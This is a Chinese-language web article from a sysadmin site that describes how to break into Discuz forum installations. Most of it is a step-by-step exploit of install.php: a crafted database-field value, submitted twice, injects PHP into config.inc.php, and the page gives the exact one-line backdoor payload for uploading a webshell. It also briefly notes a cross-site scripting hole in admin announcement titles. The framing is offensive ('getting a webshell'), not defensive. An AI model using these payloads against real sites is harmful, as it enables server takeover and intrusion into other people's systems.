网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > PHP > PHP安全其它 > 两种Discuz网站漏洞的入侵方法  

两种Discuz网站漏洞的入侵方法

2006-11-29  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

鸡肋1:install.php由于preg_grep过滤不严存在安全漏洞,可以直接拿webshell
如果你万幸发现install.php存在,但还没创建数据库账号,或者得到了数据库账号拿不到shell的时候,可以看看这个。

install.php的339-412行中对变量configfile进行了如下过滤
$configfile = preg_replace("/[$]dbhosts*=s*[\"'].*?[\"']/is\", \"$dbhost = '$dbhost'\", $configfile);

$configfile = preg_replace(\"/[$]dbusers*=s*[\"'].*?[\"']/is\", \"$dbuser = '$dbuser'\", $configfile);

$configfile = preg_replace(\"/[$]dbpws*=s*[\"'].*?[\"']/is\", \"$dbpw = '$dbpw'\", $configfile);

............

意思是对$configfile文件中对$dbhost = ' '这样的匹配模式进行替换,这里并没有对单引号进行过滤,由于对主机,数据库名,密码等过滤规则是一样的,我们其中一个填写框中输入

a';?> 网管联盟bitsCN@com
;------------(这是第一次提交)
然后保存,保存得到信息可能会错数据库连接出错,没有关系,因为discuz的安装配置文件是先写入再判断的,然后你查看一下config.inc.php,会出现

$dbhost = 'a';?>'

这样的格式。
我们回到上一步,再保存一次---------------------(这是第二次提交)
这时你会看到config.inc.php已经被破坏了,会出现

$dbhost = 'a';?>';?>';

这样的情况,但现在是却是一种 这样完整的匹配模式了.
那我们在?>前面加上我们的一句话后门,就可以得到一个webshell了。
例如写入: a';copy($_FILES[myfile][tmp_name],$_FILES[myfile][name])?> 网管联盟bitsCN_com
重复写入两次就可以通过install.php上传php后门了。

鸡肋2:后台的发公告的标题存在跨站漏洞。

TAGs   入侵   方法   漏洞   网站   configfile   dbhost   我们   数据库      
 上一篇:Discuz插件漏洞攻击   下一篇:没有了
两种Discuz网站漏洞的入侵方法 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: